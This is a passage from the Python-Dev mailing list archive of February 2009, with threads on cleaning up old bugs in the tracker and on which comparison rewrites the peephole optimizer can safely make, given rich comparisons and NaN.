http://bugs.python.org/issue713169 test_pty fails on HP-UX and AIX
when run after test_openpty

http://bugs.python.org/issue816059 popen2 work, fixes bugs 768649 and 761888

http://bugs.python.org/issue1911 webbrowser.open firefox 3 issues

http://bugs.python.org/issue1170065 HTTPResponse.getheaders() returns
lowercased header names

http://bugs.python.org/issue1175686 add "reload" function

http://bugs.python.org/issue779191 BasicModuleLoader behaviour in Python 2.3c2

http://bugs.python.org/issue1327971 HTTPResponse instance has no
attribute 'fileno'

From facundobatista at gmail.com  Tue Feb 10 14:42:53 2009
From: facundobatista at gmail.com (Facundo Batista)
Date: Tue, 10 Feb 2009 11:42:53 -0200
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
Message-ID: <e04bdf310902100542y43483b33y4db0e984065a46d5@mail.gmail.com>

2009/2/10 Daniel (ajax) Diniz <ajaksu at gmail.com>:

> If anyone is interested in being added as nosy for any category of
> bugs, let me know and I'll do that as I scan the tracker.

Anything related to Decimal, add me.

Thanks!

-- 
.    Facundo

Blog: http://www.taniquetil.com.ar/plog/
PyAr: http://www.python.org/ar/

From guido at python.org  Tue Feb 10 16:58:57 2009
From: guido at python.org (Guido van Rossum)
Date: Tue, 10 Feb 2009 07:58:57 -0800
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
Message-ID: <ca471dc20902100758l6db2a0a6mc1f485e92cb5b411@mail.gmail.com>

Thanks Daniel! This kind of work is never fun but very much needed and
I'm very glad you did it. A round of applause!!

On Tue, Feb 10, 2009 at 5:23 AM, Daniel (ajax) Diniz <ajaksu at gmail.com> wrote:
> Hi all,
>
> For the past two days I've been doing some housekeeping
> *cough*spamming*cough* on the tracker, mostly on ancient and/or easy
> bugs. So far, ten bugs have been closed (thanks Antoine, Barry,
> Benjamin, Guilherme, Martin and Raymond). I nominated some other bugs
> (below) for closing and added a few simple patches, with a couple more
> pending feedback.
>
> If anyone is interested in being added as nosy for any category of
> bugs, let me know and I'll do that as I scan the tracker.
>
> Iff this kind of Bug-Day-ish work is desirable, doesn't disrupt real
> work and people agree the workflow would be better, I'd like to have
> developer rights in the tracker, as per Antoine's suggestion. FWIW, I
> have no problem with the current situation.
>
> Talking about Bug Days, I see lots of easy bugs, some with outdated
> patches. Is there any plan of doing a Bug Day around PyCon time?
>
> Best regards,
> Daniel
>
> Bugs nominated for express closing:
>
> http://bugs.python.org/issue1103926 email.base64MIME.header_encode vs RFC 1522
>
> http://bugs.python.org/issue727898 Support for sending multipart form data
>
> http://bugs.python.org/issue713169 test_pty fails on HP-UX and AIX
> when run after test_openpty
>
> http://bugs.python.org/issue816059 popen2 work, fixes bugs 768649 and 761888
>
> http://bugs.python.org/issue1911 webbrowser.open firefox 3 issues
>
> http://bugs.python.org/issue1170065 HTTPResponse.getheaders() returns
> lowercased header names
>
> http://bugs.python.org/issue1175686 add "reload" function
>
> http://bugs.python.org/issue779191 BasicModuleLoader behaviour in Python 2.3c2
>
> http://bugs.python.org/issue1327971 HTTPResponse instance has no
> attribute 'fileno'
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/guido%40python.org
>



-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From dickinsm at gmail.com  Tue Feb 10 17:22:40 2009
From: dickinsm at gmail.com (Mark Dickinson)
Date: Tue, 10 Feb 2009 16:22:40 +0000
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
Message-ID: <5c6f2a5d0902100822s36599294y52b806d0c2855084@mail.gmail.com>

On Tue, Feb 10, 2009 at 1:23 PM, Daniel (ajax) Diniz <ajaksu at gmail.com> wrote:
> If anyone is interested in being added as nosy for any category of
> bugs, let me know and I'll do that as I scan the tracker.

Feel free to assign anything math-related (math and cmath modules,
float and complex objects) to me.

Thanks for this!

Mark

From cesare.dimauro at a-tono.com  Tue Feb 10 17:24:45 2009
From: cesare.dimauro at a-tono.com (Cesare Di Mauro)
Date: Tue, 10 Feb 2009 17:24:45 +0100
Subject: [Python-Dev] Expression optimizations
In-Reply-To: <ca471dc20902100758l6db2a0a6mc1f485e92cb5b411@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<ca471dc20902100758l6db2a0a6mc1f485e92cb5b411@mail.gmail.com>
Message-ID: <op.uo487jc303jqhe@cesareprova.org>

In peephole.c I noticed some expression optimizations:

				/* not a is b -->  a is not b
				   not a in b -->  a not in b
				   not a is not b -->  a is b
				   not a not in b -->  a in b
				*/

So, it seems that an operation can be changed to another one which is logically equivalent.

Could it be applyable to other operations as well? So, if I wrote:

  c = not(a < b)

the compiler and/or peephole optimizer can generate bytecodes instructions which, instead, execute the following operation:

  c = a >= b

Is it right?

Thanks a lot
Cesare

From daniel at stutzbachenterprises.com  Tue Feb 10 17:38:55 2009
From: daniel at stutzbachenterprises.com (Daniel Stutzbach)
Date: Tue, 10 Feb 2009 10:38:55 -0600
Subject: [Python-Dev] Expression optimizations
In-Reply-To: <op.uo487jc303jqhe@cesareprova.org>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<ca471dc20902100758l6db2a0a6mc1f485e92cb5b411@mail.gmail.com>
	<op.uo487jc303jqhe@cesareprova.org>
Message-ID: <eae285400902100838g5a42b8bexcd744e763dbc3e10@mail.gmail.com>

On Tue, Feb 10, 2009 at 10:24 AM, Cesare Di Mauro <cesare.dimauro at a-tono.com
> wrote:

> Could it be applyable to other operations as well? So, if I wrote:
>  c = not(a < b)
> the compiler and/or peephole optimizer can generate bytecodes instructions
> which, instead, execute the following operation:
>  c = a >= b
>

Those two expressions are equivalent for integers, but not necessarily
equivalent for objects that define their own comparison operator.

--
Daniel Stutzbach, Ph.D.
President, Stutzbach Enterprises, LLC <http://stutzbachenterprises.com>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090210/6106a3c8/attachment.htm>

From solipsis at pitrou.net  Tue Feb 10 17:56:22 2009
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Tue, 10 Feb 2009 16:56:22 +0000 (UTC)
Subject: [Python-Dev] Expression optimizations
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<ca471dc20902100758l6db2a0a6mc1f485e92cb5b411@mail.gmail.com>
	<op.uo487jc303jqhe@cesareprova.org>
Message-ID: <loom.20090210T165555-966@post.gmane.org>

Cesare Di Mauro <cesare.dimauro <at> a-tono.com> writes:
> Could it be applyable to other operations as well? So, if I wrote:
> 
>   c = not(a < b)
> 
> the compiler and/or peephole optimizer can generate bytecodes instructions
which, instead, execute the
> following operation:
> 
>   c = a >= b
> 
> Is it right?

No, it would be a bogus optimization:

>>> a = set([1])
>>> b = set([2])
>>> a < b
False
>>> a >= b
False

Regards

Antoine.



From steve at holdenweb.com  Tue Feb 10 18:16:23 2009
From: steve at holdenweb.com (Steve Holden)
Date: Tue, 10 Feb 2009 12:16:23 -0500
Subject: [Python-Dev] Expression optimizations
In-Reply-To: <eae285400902100838g5a42b8bexcd744e763dbc3e10@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>	<ca471dc20902100758l6db2a0a6mc1f485e92cb5b411@mail.gmail.com>	<op.uo487jc303jqhe@cesareprova.org>
	<eae285400902100838g5a42b8bexcd744e763dbc3e10@mail.gmail.com>
Message-ID: <gmscpl$gs9$1@ger.gmane.org>

Daniel Stutzbach wrote:
> On Tue, Feb 10, 2009 at 10:24 AM, Cesare Di Mauro
> <cesare.dimauro at a-tono.com <mailto:cesare.dimauro at a-tono.com>> wrote:
> 
>     Could it be applyable to other operations as well? So, if I wrote:
>      c = not(a < b)
>     the compiler and/or peephole optimizer can generate bytecodes
>     instructions which, instead, execute the following operation:
>      c = a >= b
> 
> 
> Those two expressions are equivalent for integers, but not necessarily
> equivalent for objects that define their own comparison operator.
> 
That's true, but the same *could* be said about the existing
optimizations for objects that define their own __contains__.

regards
 Steve
-- 
Steve Holden        +1 571 484 6266   +1 800 494 3119
Holden Web LLC              http://www.holdenweb.com/


From daniel at stutzbachenterprises.com  Tue Feb 10 18:24:18 2009
From: daniel at stutzbachenterprises.com (Daniel Stutzbach)
Date: Tue, 10 Feb 2009 11:24:18 -0600
Subject: [Python-Dev] Expression optimizations
In-Reply-To: <gmscpl$gs9$1@ger.gmane.org>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<ca471dc20902100758l6db2a0a6mc1f485e92cb5b411@mail.gmail.com>
	<op.uo487jc303jqhe@cesareprova.org>
	<eae285400902100838g5a42b8bexcd744e763dbc3e10@mail.gmail.com>
	<gmscpl$gs9$1@ger.gmane.org>
Message-ID: <eae285400902100924i48be1968jf76a167c828ea856@mail.gmail.com>

On Tue, Feb 10, 2009 at 11:16 AM, Steve Holden <steve at holdenweb.com> wrote:

> That's true, but the same *could* be said about the existing
> optimizations for objects that define their own __contains__.
>

No, because there isn't a __not_contains__, so you cannot define the inverse
operation differently.  "not a in b" and "a not in b" have exactly the same
effects.

--
Daniel Stutzbach, Ph.D.
President, Stutzbach Enterprises, LLC <http://stutzbachenterprises.com>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090210/02d569fc/attachment.htm>

From steve at holdenweb.com  Tue Feb 10 18:25:51 2009
From: steve at holdenweb.com (Steve Holden)
Date: Tue, 10 Feb 2009 12:25:51 -0500
Subject: [Python-Dev] Expression optimizations
In-Reply-To: <eae285400902100924i48be1968jf76a167c828ea856@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>	<ca471dc20902100758l6db2a0a6mc1f485e92cb5b411@mail.gmail.com>	<op.uo487jc303jqhe@cesareprova.org>	<eae285400902100838g5a42b8bexcd744e763dbc3e10@mail.gmail.com>	<gmscpl$gs9$1@ger.gmane.org>
	<eae285400902100924i48be1968jf76a167c828ea856@mail.gmail.com>
Message-ID: <gmsdbc$ird$1@ger.gmane.org>

Daniel Stutzbach wrote:
> On Tue, Feb 10, 2009 at 11:16 AM, Steve Holden <steve at holdenweb.com
> <mailto:steve at holdenweb.com>> wrote:
> 
>     That's true, but the same *could* be said about the existing
>     optimizations for objects that define their own __contains__.
> 
> 
> No, because there isn't a __not_contains__, so you cannot define the
> inverse operation differently.  "not a in b" and "a not in b" have
> exactly the same effects.
> 
Ah, right, that guarantees semantic equivalence. Sorry.

regards
 Steve
-- 
Steve Holden        +1 571 484 6266   +1 800 494 3119
Holden Web LLC              http://www.holdenweb.com/


From solipsis at pitrou.net  Tue Feb 10 18:26:19 2009
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Tue, 10 Feb 2009 17:26:19 +0000 (UTC)
Subject: [Python-Dev] Expression optimizations
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>	<ca471dc20902100758l6db2a0a6mc1f485e92cb5b411@mail.gmail.com>	<op.uo487jc303jqhe@cesareprova.org>
	<eae285400902100838g5a42b8bexcd744e763dbc3e10@mail.gmail.com>
	<gmscpl$gs9$1@ger.gmane.org>
Message-ID: <loom.20090210T172539-153@post.gmane.org>

Steve Holden <steve <at> holdenweb.com> writes:
> 
> That's true, but the same *could* be said about the existing
> optimizations for objects that define their own __contains__.

No, because there is no such thing as __not_contains__.

Regards

Antoine.



From brett at python.org  Tue Feb 10 20:04:28 2009
From: brett at python.org (Brett Cannon)
Date: Tue, 10 Feb 2009 11:04:28 -0800
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
Message-ID: <bbaeab100902101104m48261c38pcb642899a854ed78@mail.gmail.com>

On Tue, Feb 10, 2009 at 05:23, Daniel (ajax) Diniz <ajaksu at gmail.com> wrote:

> Hi all,
>
> For the past two days I've been doing some housekeeping
> *cough*spamming*cough* on the tracker, mostly on ancient and/or easy
> bugs. So far, ten bugs have been closed (thanks Antoine, Barry,
> Benjamin, Guilherme, Martin and Raymond). I nominated some other bugs
> (below) for closing and added a few simple patches, with a couple more
> pending feedback.
>
> If anyone is interested in being added as nosy for any category of
> bugs, let me know and I'll do that as I scan the tracker.
>

Warnings and import for me.


>
> Iff this kind of Bug-Day-ish work is desirable, doesn't disrupt real
> work and people agree the workflow would be better, I'd like to have
> developer rights in the tracker, as per Antoine's suggestion. FWIW, I
> have no problem with the current situation.
>

It's been asked on python-committers; just have to wait for any potential
objections (really doubt there will be any, though).


>
> Talking about Bug Days, I see lots of easy bugs, some with outdated
> patches. Is there any plan of doing a Bug Day around PyCon time?
>

Well, the sprints at PyCon are Bug Days themselves really, although they
happen during the week so that tends to cause problems. As of right now
there are no plans but someone can obviously plan one if they feel up for
it.

-Brett
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090210/fd78d29d/attachment.htm>

From python at rcn.com  Tue Feb 10 20:15:44 2009
From: python at rcn.com (Raymond Hettinger)
Date: Tue, 10 Feb 2009 11:15:44 -0800
Subject: [Python-Dev] Expression optimizations
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com><ca471dc20902100758l6db2a0a6mc1f485e92cb5b411@mail.gmail.com>
	<op.uo487jc303jqhe@cesareprova.org>
Message-ID: <951A81ABBD7F4CA7956A8CB9DC157CD8@RaymondLaptop1>


----- Original Message ----- 
From: "Cesare Di Mauro" <cesare.dimauro at a-tono.com>
To: "Python-Dev" <python-dev at python.org>
Sent: Tuesday, February 10, 2009 8:24 AM
Subject: [Python-Dev] Expression optimizations


> In peephole.c I noticed some expression optimizations:
>
> /* not a is b -->  a is not b
>    not a in b -->  a not in b
>    not a is not b -->  a is b
>    not a not in b -->  a in b
> */
>
> So, it seems that an operation can be changed to another one which is logically equivalent.
>
> Could it be applyable to other operations as well? So, if I wrote:
>
>  c = not(a < b)
>
> the compiler and/or peephole optimizer can generate bytecodes instructions which, instead, execute the following operation:
>
>  c = a >= b
>
> Is it right?

We've only done conservative transformations that do not change which magic methods get called.  The is / isnot transformations are 
invisible to the programmer and always semantically neutral.  Your proposed transformation is changes which methods get called and 
makes assumptions that the usual relationships between comparison operators holds (but it might not given rich comparisons, for 
example, sets use the comparison operators for subset/superset tests).


Raymond 


From python at rcn.com  Tue Feb 10 20:33:32 2009
From: python at rcn.com (Raymond Hettinger)
Date: Tue, 10 Feb 2009 11:33:32 -0800
Subject: [Python-Dev] Daily documentation builds
Message-ID: <00C904AA5E36487683FFC7CB776C9AA9@RaymondLaptop1>

The online development docs stopped their nightly rebuilds four days ago.


Raymond

From benjamin at python.org  Tue Feb 10 21:18:55 2009
From: benjamin at python.org (Benjamin Peterson)
Date: Tue, 10 Feb 2009 15:18:55 -0500
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
Message-ID: <1afaf6160902101218t317c53akdefd4937c9619b40@mail.gmail.com>

On Tue, Feb 10, 2009 at 8:23 AM, Daniel (ajax) Diniz <ajaksu at gmail.com> wrote:
> If anyone is interested in being added as nosy for any category of
> bugs, let me know and I'll do that as I scan the tracker.

Adding/assigning to me on 2to3 bugs is fine, but usually I notice
stuff I'm interested in as it rises to the top.

> Iff this kind of Bug-Day-ish work is desirable, doesn't disrupt real
> work and people agree the workflow would be better, I'd like to have
> developer rights in the tracker, as per Antoine's suggestion. FWIW, I
> have no problem with the current situation.

+10 for tracker access for you. This is the kind of work is something
I think everybody has on their lists and really needs some TLC. Thank
you!



-- 
Regards,
Benjamin

From cesare.dimauro at a-tono.com  Tue Feb 10 21:36:03 2009
From: cesare.dimauro at a-tono.com (Cesare Di Mauro)
Date: Tue, 10 Feb 2009 21:36:03 +0100 (CET)
Subject: [Python-Dev] Expression optimizations
In-Reply-To: <eae285400902100838g5a42b8bexcd744e763dbc3e10@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> 
	<ca471dc20902100758l6db2a0a6mc1f485e92cb5b411@mail.gmail.com> 
	<op.uo487jc303jqhe@cesareprova.org>
	<eae285400902100838g5a42b8bexcd744e763dbc3e10@mail.gmail.com>
Message-ID: <65379.151.53.147.90.1234298163.squirrel@webmail3.pair.com>

On Mar, Feb 10, 2009 at 05:38 PM, Daniel Stutzbach wrote:
> On Tue, Feb 10, 2009 at 10:24 AM, Cesare Di Mauro
> <cesare.dimauro at a-tono.com
>> wrote:
>
>> Could it be applyable to other operations as well? So, if I wrote:
>>  c = not(a < b)
>> the compiler and/or peephole optimizer can generate bytecodes
>> instructions
>> which, instead, execute the following operation:
>>  c = a >= b
>>
>
> Those two expressions are equivalent for integers, but not necessarily
> equivalent for objects that define their own comparison operator.

OK, so I can make assumptions only for built-in types.

Thank you

Cesare

From daniel at stutzbachenterprises.com  Tue Feb 10 21:42:47 2009
From: daniel at stutzbachenterprises.com (Daniel Stutzbach)
Date: Tue, 10 Feb 2009 14:42:47 -0600
Subject: [Python-Dev] Expression optimizations
In-Reply-To: <65379.151.53.147.90.1234298163.squirrel@webmail3.pair.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<ca471dc20902100758l6db2a0a6mc1f485e92cb5b411@mail.gmail.com>
	<op.uo487jc303jqhe@cesareprova.org>
	<eae285400902100838g5a42b8bexcd744e763dbc3e10@mail.gmail.com>
	<65379.151.53.147.90.1234298163.squirrel@webmail3.pair.com>
Message-ID: <eae285400902101242q4cfef308g6dca5a5243226c88@mail.gmail.com>

On Tue, Feb 10, 2009 at 2:36 PM, Cesare Di Mauro
<cesare.dimauro at a-tono.com>wrote:

> OK, so I can make assumptions only for built-in types.
>

Yes, but even there you have to be careful of odd corner-cases, such as:

>>> nan = float('nan')
>>> nan < nan
False
>>> nan >= nan
False

--
Daniel Stutzbach, Ph.D.
President, Stutzbach Enterprises, LLC <http://stutzbachenterprises.com>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090210/692d6dd5/attachment.htm>

From cesare.dimauro at a-tono.com  Tue Feb 10 21:43:17 2009
From: cesare.dimauro at a-tono.com (Cesare Di Mauro)
Date: Tue, 10 Feb 2009 21:43:17 +0100 (CET)
Subject: [Python-Dev] Expression optimizations
In-Reply-To: <eae285400902100924i48be1968jf76a167c828ea856@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<ca471dc20902100758l6db2a0a6mc1f485e92cb5b411@mail.gmail.com>
	<op.uo487jc303jqhe@cesareprova.org>
	<eae285400902100838g5a42b8bexcd744e763dbc3e10@mail.gmail.com>
	<gmscpl$gs9$1@ger.gmane.org>
	<eae285400902100924i48be1968jf76a167c828ea856@mail.gmail.com>
Message-ID: <65479.151.53.147.90.1234298597.squirrel@webmail3.pair.com>

On Mar, Feb 10, 2009 06:24 PM, Daniel Stutzbach wrote:
> On Tue, Feb 10, 2009 at 11:16 AM, Steve Holden <steve at holdenweb.com>
> wrote:
>
>> That's true, but the same *could* be said about the existing
>> optimizations for objects that define their own __contains__.
>>
>
> No, because there isn't a __not_contains__, so you cannot define the
> inverse
> operation differently.  "not a in b" and "a not in b" have exactly the
> same
> effects.
>

Interesting. So at least for "is" and "in" operators it is possible to
play with the "not" operator.

Thanks
Cesare

From cesare.dimauro at a-tono.com  Tue Feb 10 21:56:52 2009
From: cesare.dimauro at a-tono.com (Cesare Di Mauro)
Date: Tue, 10 Feb 2009 21:56:52 +0100 (CET)
Subject: [Python-Dev] Expression optimizations
In-Reply-To: <951A81ABBD7F4CA7956A8CB9DC157CD8@RaymondLaptop1>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com><ca471dc20902100758l6db2a0a6mc1f485e92cb5b411@mail.gmail.com>
	<op.uo487jc303jqhe@cesareprova.org>
	<951A81ABBD7F4CA7956A8CB9DC157CD8@RaymondLaptop1>
Message-ID: <49291.151.53.147.90.1234299412.squirrel@webmail3.pair.com>

On Mar, Feb 10, 2009 08:15 PM, Raymond Hettinger wrote:
>
> ----- Original Message -----
> From: "Cesare Di Mauro" <cesare.dimauro at a-tono.com>
> To: "Python-Dev" <python-dev at python.org>
> Sent: Tuesday, February 10, 2009 8:24 AM
> Subject: [Python-Dev] Expression optimizations
>
>
>> In peephole.c I noticed some expression optimizations:
>>
>> /* not a is b -->  a is not b
>>    not a in b -->  a not in b
>>    not a is not b -->  a is b
>>    not a not in b -->  a in b
>> */
>>
>> So, it seems that an operation can be changed to another one which is
>> logically equivalent.
>>
>> Could it be applyable to other operations as well? So, if I wrote:
>>
>>  c = not(a < b)
>>
>> the compiler and/or peephole optimizer can generate bytecodes
>> instructions which, instead, execute the following operation:
>>
>>  c = a >= b
>>
>> Is it right?
>
> We've only done conservative transformations that do not change which
> magic methods get called.  The is / isnot transformations are
> invisible to the programmer and always semantically neutral.

OK, and the same apply to the "in" operator, if I have understood
correctly the other messages.

> Your
> proposed transformation is changes which methods get called and
> makes assumptions that the usual relationships between comparison
> operators holds (but it might not given rich comparisons, for
> example, sets use the comparison operators for subset/superset tests).
>

Raymond, I'm not proposing any changes to the language.

I'm playing with the virtual machine and I have some ideas about possibile
optimizations that could be applyed. But I need to verify them, so
understanding what is possible and what is not, is a primary goal for me.
;)

Thanks for you patience
Cesare

From cesare.dimauro at a-tono.com  Tue Feb 10 21:59:07 2009
From: cesare.dimauro at a-tono.com (Cesare Di Mauro)
Date: Tue, 10 Feb 2009 21:59:07 +0100 (CET)
Subject: [Python-Dev] Expression optimizations
In-Reply-To: <eae285400902101242q4cfef308g6dca5a5243226c88@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> 
	<ca471dc20902100758l6db2a0a6mc1f485e92cb5b411@mail.gmail.com> 
	<op.uo487jc303jqhe@cesareprova.org> 
	<eae285400902100838g5a42b8bexcd744e763dbc3e10@mail.gmail.com> 
	<65379.151.53.147.90.1234298163.squirrel@webmail3.pair.com>
	<eae285400902101242q4cfef308g6dca5a5243226c88@mail.gmail.com>
Message-ID: <49313.151.53.147.90.1234299547.squirrel@webmail3.pair.com>

On Mar, Feb 10, 2009 09:42PM, Daniel Stutzbach wrote:
> On Tue, Feb 10, 2009 at 2:36 PM, Cesare Di Mauro
> <cesare.dimauro at a-tono.com>wrote:
>
>> OK, so I can make assumptions only for built-in types.
>>
>
> Yes, but even there you have to be careful of odd corner-cases, such as:
>
>>>> nan = float('nan')
>>>> nan < nan
> False
>>>> nan >= nan
> False

Ah, I missed it. OK, and the same apply for decimals, I suppose.

Thanks
Cesare

From dinov at microsoft.com  Tue Feb 10 22:02:43 2009
From: dinov at microsoft.com (Dino Viehland)
Date: Tue, 10 Feb 2009 13:02:43 -0800
Subject: [Python-Dev] Expression optimizations
In-Reply-To: <eae285400902101242q4cfef308g6dca5a5243226c88@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<ca471dc20902100758l6db2a0a6mc1f485e92cb5b411@mail.gmail.com>
	<op.uo487jc303jqhe@cesareprova.org>
	<eae285400902100838g5a42b8bexcd744e763dbc3e10@mail.gmail.com>
	<65379.151.53.147.90.1234298163.squirrel@webmail3.pair.com>
	<eae285400902101242q4cfef308g6dca5a5243226c88@mail.gmail.com>
Message-ID: <350E7D38B6D819428718949920EC2355571B7F8CF1@NA-EXMSG-C102.redmond.corp.microsoft.com>

And slightly unrelated, but just showing how bizarre floats are:

>>> x = 1e66666
>>> y = x/x
>>> cmp(y, y)
0
>>> cmp(x/x, x/x)
-1

Yeah object identity checks!

From: python-dev-bounces+dinov=microsoft.com at python.org [mailto:python-dev-bounces+dinov=microsoft.com at python.org] On Behalf Of Daniel Stutzbach
Sent: Tuesday, February 10, 2009 12:43 PM
To: cesare.dimauro at a-tono.com
Cc: Python-Dev
Subject: Re: [Python-Dev] Expression optimizations

On Tue, Feb 10, 2009 at 2:36 PM, Cesare Di Mauro <cesare.dimauro at a-tono.com> wrote:
OK, so I can make assumptions only for built-in types.

Yes, but even there you have to be careful of odd corner-cases, such as:

>>> nan = float('nan')
>>> nan < nan
False
>>> nan >= nan
False
--
Daniel Stutzbach, Ph.D.
President, Stutzbach Enterprises, LLC 

From cesare.dimauro at a-tono.com  Tue Feb 10 22:11:57 2009
From: cesare.dimauro at a-tono.com (Cesare Di Mauro)
Date: Tue, 10 Feb 2009 22:11:57 +0100 (CET)
Subject: [Python-Dev] Expression optimizations
In-Reply-To: <350E7D38B6D819428718949920EC2355571B7F8CF1@NA-EXMSG-C102.redmond.corp
	.microsoft.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<ca471dc20902100758l6db2a0a6mc1f485e92cb5b411@mail.gmail.com>
	<op.uo487jc303jqhe@cesareprova.org>
	<eae285400902100838g5a42b8bexcd744e763dbc3e10@mail.gmail.com>
	<65379.151.53.147.90.1234298163.squirrel@webmail3.pair.com>
	<eae285400902101242q4cfef308g6dca5a5243226c88@mail.gmail.com>
	<350E7D38B6D819428718949920EC2355571B7F8CF1@NA-EXMSG-C102.redmond.corp.microsoft.com>
Message-ID: <49740.151.53.147.90.1234300317.squirrel@webmail3.pair.com>

It's bizarre enough, since I have got a different result (with Python
2.6.1, 32 bit):

>>> x = 1e66666
>>> y = x/x
>>> x
inf
>>> y
nan
>>> cmp(y, y)
0
>>> cmp(x/x, x/x)
1

:D

Cesare

On Mar, Feb 10, 2009 10:02PM, Dino Viehland wrote:
> And slightly unrelated, but just showing how bizarre floats are:
>
>>>> x = 1e66666
>>>> y = x/x
>>>> cmp(y, y)
> 0
>>>> cmp(x/x, x/x)
> -1
>
> Yeah object identity checks!
>
> From: python-dev-bounces+dinov=microsoft.com at python.org
> [mailto:python-dev-bounces+dinov=microsoft.com at python.org] On Behalf Of
> Daniel Stutzbach
> Sent: Tuesday, February 10, 2009 12:43 PM
> To: cesare.dimauro at a-tono.com
> Cc: Python-Dev
> Subject: Re: [Python-Dev] Expression optimizations
>
> On Tue, Feb 10, 2009 at 2:36 PM, Cesare Di Mauro
> <cesare.dimauro at a-tono.com> wrote:
> OK, so I can make assumptions only for built-in types.
>
> Yes, but even there you have to be careful of odd corner-cases, such as:
>
>>>> nan = float('nan')
>>>> nan < nan
> False
>>>> nan >= nan
> False
> --
> Daniel Stutzbach, Ph.D.
> President, Stutzbach Enterprises, LLC
>


From dinov at microsoft.com  Tue Feb 10 22:19:25 2009
From: dinov at microsoft.com (Dino Viehland)
Date: Tue, 10 Feb 2009 13:19:25 -0800
Subject: [Python-Dev] Expression optimizations
In-Reply-To: <49740.151.53.147.90.1234300317.squirrel@webmail3.pair.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<ca471dc20902100758l6db2a0a6mc1f485e92cb5b411@mail.gmail.com>
	<op.uo487jc303jqhe@cesareprova.org>
	<eae285400902100838g5a42b8bexcd744e763dbc3e10@mail.gmail.com>
	<65379.151.53.147.90.1234298163.squirrel@webmail3.pair.com>
	<eae285400902101242q4cfef308g6dca5a5243226c88@mail.gmail.com>
	<350E7D38B6D819428718949920EC2355571B7F8CF1@NA-EXMSG-C102.redmond.corp.microsoft.com>
	<49740.151.53.147.90.1234300317.squirrel@webmail3.pair.com>
Message-ID: <350E7D38B6D819428718949920EC2355571B7F8D12@NA-EXMSG-C102.redmond.corp.microsoft.com>

I think it's comparing based upon object identity so it may be a little non-deterministic:

>>> x= 1e666666
>>> y = x/x
>>> z = x/x
>>> cmp(y, z)
1
>>> cmp(z, y)
-1
>>>

But I may have accidently run that on IronPython though where we're assigning ids differently :)

-----Original Message-----
From: Cesare Di Mauro [mailto:cesare.dimauro at a-tono.com] 
Sent: Tuesday, February 10, 2009 1:12 PM
To: Dino Viehland
Cc: Daniel Stutzbach; cesare.dimauro at a-tono.com; Python-Dev
Subject: RE: [Python-Dev] Expression optimizations

It's bizarre enough, since I have got a different result (with Python
2.6.1, 32 bit):

>>> x = 1e66666
>>> y = x/x
>>> x
inf
>>> y
nan
>>> cmp(y, y)
0
>>> cmp(x/x, x/x)
1

:D

Cesare

On Mar, Feb 10, 2009 10:02PM, Dino Viehland wrote:
> And slightly unrelated, but just showing how bizarre floats are:
>
>>>> x = 1e66666
>>>> y = x/x
>>>> cmp(y, y)
> 0
>>>> cmp(x/x, x/x)
> -1
>
> Yeah object identity checks!
>
> From: python-dev-bounces+dinov=microsoft.com at python.org
> [mailto:python-dev-bounces+dinov=microsoft.com at python.org] On Behalf Of
> Daniel Stutzbach
> Sent: Tuesday, February 10, 2009 12:43 PM
> To: cesare.dimauro at a-tono.com
> Cc: Python-Dev
> Subject: Re: [Python-Dev] Expression optimizations
>
> On Tue, Feb 10, 2009 at 2:36 PM, Cesare Di Mauro
> <cesare.dimauro at a-tono.com> wrote:
> OK, so I can make assumptions only for built-in types.
>
> Yes, but even there you have to be careful of odd corner-cases, such as:
>
